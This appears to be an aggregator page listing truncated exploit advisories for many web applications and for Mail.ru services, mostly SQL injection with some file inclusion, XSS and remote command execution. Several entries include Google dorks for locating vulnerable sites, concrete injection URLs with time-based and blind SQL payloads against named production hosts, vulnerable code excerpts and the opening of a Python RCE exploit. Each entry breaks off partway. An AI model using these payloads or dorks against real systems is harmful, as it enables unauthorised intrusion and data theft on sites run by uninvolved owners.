PHP RSS Reader 2010 - SQL Injection

No description provided by source. Exploit Title: PHP RSS READER 2010 SQLI Google Dork: Copyright 2010 - Powered By - PHP RSS Reader Date: 28/10/2013 Exploit Author: rDNix Vendor Homepage: http://www.phprssreader.com/ Version: 2010 Exploit :-...

Multi Vendor Mall (itemdetail.php & shop.php) SQL Injection Vulnerability

No description provided by source. ------------------------------------------------------------------------------------------- Multi Vendor Mall itemdetail.php & shop.php SQL Injection Vulnerability ------------------------------------------------------------------------------------------- Author...

myBB KingChat Plugin - SQL Injection

No description provided by source. Exploit Title: KingChat MyBB plugin SQL Injection 0day Google Dork: inurl:kingchat.php Date: 13.10.2012 Exploit Author: RedHat NullSec Software Link: http://mods.mybb.com/view/kingchat Tested on: Windows & Linux. Vulnerable code : ?php $username=$GET'username';...

SunShop Shopping Cart <= 3.5 (abs_path) RFI Vulnerabilities

No description provided by source. sunshop 4 index.php Remote File Include Vulnerability ----------------------------------------------------------------------------------------- scripts : SunShop v3.5 Discovered By : irvian scripts site : http://www.turnkeywebtools.com/sunshop/ Thanks To :...

Softbiz Jobs and Recruitment Script (search_result.php) SQL Injection Vulnerability

No description provided by source. ----------------------------Information------------------------------------------------ +Name : Softbiz Jobs & Recruitment Script SQL INJECTION searchresult.php +Autor : Easy Laster +Date : 10.03.2010 +Script : Softbiz Jobs & Recruitment Script +Price : 129$...

SebracCMS <= 0.4 - Multiple SQL Injection Vulnerabilities

No description provided by source. Name: SebracCMS Webiste: http://www.sebrac.netsons.org/cms/ Vulnerability type: SQL Injection Author: shinmai, 2008-06-28 Description: SebracCMS contains two major SQL injection vulnerabilities: Unsanitazed POST-variables in SQL queries when logging users in. Th...

Church Edit - Blind SQL Injection

No description provided by source. Exploit Title: Church Edit Blind SQL Injection Google Dork: inurl:This website is powered by Church Edit Date: 15/3/2013 Exploit Author: ThatIcyChill Vendor Homepage: http://www.churchedit.co.uk/ Version: Initial Release...

Factux LFI Vulnerability

No description provided by source. InformatioN Title : Factux LFI Vulnerability Author: altbta l9athotmail.com download : http://www.toocharger.com/telecharger/scripts/factux/3468.htm ExploiT dork: Factux le facturier libre V 1.1.5 includeonceinclude/language/$lang.php; Vulnerable File :...

Ypninc Realty Classifieds SQL Injection Vulnerability

No description provided by source. Script Name: Ypninc Realty Classifieds Script Demo: http://fsbo.ypninc.com/ BUG: Sql INjection google dork: inurl:gmap.php?id=; OBS: With this dork you will find a lot of sql injection aiuhauiha ;D Found: by Br0ly Lame script ;/... p0c:...

musicbox SQL Injection

No description provided by source. Exploit Title: musicbox sql injection Date: 1/6/2010 Author: titanichacker Software Link: http://www.musicboxv2.com Version: all versions Tested with: http://server/index.php?action=genre&id=2' http://server/index.php?term=achkl&in=album&action=search&start=0'...

Mail.ru: SQL inj

GET /guide/ HTTP/1.1 User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/537.36 KHTML, like Gecko Chrome/28.0.1500.63 Safari/537.36 Via: ifnow=sysdate,sleep10,0/'XORifnow=sysdate,sleep10,0OR'"XORifnow=sysdate,sleep10,0 and 1=1"/ X-Requested-With: XMLHttpRequest Referer: http://bw.mail.ru/...

ApPHP MicroBlog 1.0.1 - Remote Command Execution

!/usr/bin/python import random import hashlib import urllib from base64 import b64encode as b64 import sys import re Exploit Title: Python exploit for ApPHP MicroBlog 1.0.1 Free Version - RCE Exploit Author: LOTFREE Version: ApPHP MicroBlog 1.0.1 Free Version EDB-ID: 33030 print " -= LOTFREE...

Mail.ru: SQL inj

http://parapa.mail.ru/gallery/BirthdayParaPa/-1%27%20or%201=IF%28LENGTH%28ASCII%28%28SELECT%20USER%28%29%29%29%29=3,%201,%200%29%20--%20//...

Mail.ru: Reflected XSS

http://cards.mail.ru/search/?search= Vulnreable to reflected XSS Payload "!-- See Screen Shot...

H K Digital Online SQL Injection

Exploit Author:Th3 R0cksT3r Exploit Title: H K Digital Online SQL Injection Date: 15.02.2014 Email: [email protected] Vendor Homepage: http://www.hkdigitalonline.com/ Facebook: Facebook.com/thee.rocksTer Google Dork: inurl:".php?id=" intext:"Powered by H K Digital Online." === Material's...

iNET Business Hub SQL Injection

==== Exploit Author:Ʈɦƹ RǿȼƙȿƮƹř ==== Exploit Title: iNET Business Hub SQL injetion Date: 04.02.2014 Email: [email protected] Vendor: http://www.inetbusinesshub.com/ Facebook: Facebook.com/thee.rocksTer Google Dork: inurl:.php?id= intext:Website Designed & Developed by iNET Business Hub Proof...

PHPYUN会员中心之外的模块可伪造任意用户登录

简要描述： 任意用户登录 详细说明： 之前看到一个cookie里面的uid 都可以做任意文件删除。 那么 肯定cookie没有效验合法性于是review代码 发现直接设置cookie可以登录用户 并且具有一定的权限（非member模块均有权限） 漏洞证明： 在网站提问区找一个ID 设置cookieuidcookieusernamecookieusertype 访问会员中心会提示登录 但是到提问板块 成功伪造用户提交一个问答 在测试一下邀请面试 可以邀请 不过没有分。。 其他地方应该还有 我就不一一列举了！...

Vbmcms6. 0&&7.0 update injection vulnerability-vulnerability warning-the black bar safety net

The latest version 7. 0 官 网 地址 http://www.vbmcms.com/index.php Visually full is Education Station Since 7. 0 version charge so in online download 6. 0 free version of view, but also found a lot of vulnerabilities of various insert injection various update injection but I construct the statement t...

yungoucmsSQL注入漏洞

简要描述： 官网 : http://www.yungoucms.com/ 演示站: http://www.yungoucms.cn/ 商品搜索可以构建SQL语句！ http://www.yungoucms.cn/?/stag/ public function tag $search =$this-segment4; if!$searchmessage"输入搜索关键字"; $search = urldecode$search; $search = htmlspecialchars$search; if!isutf8$search $search = iconv"GBK", "UTF-8",...

TCCMS某处设计缺陷，成功打入官网后台

简要描述： TCCMS某处设计缺陷，成功打入官网后台！ 详细说明： 问题发生在 app\controller\user.class.php 146行 public function update $Obj = M 'user' ; if $POST 'info' 'password' !== $POST 'password1' StringUtil::msgbox Config::lang "PWDNOTTHESAME" , 'index.php?ac=usersinfo', 1 ; exit ; $Obj-create ; if $POST 'info' 'password' != "...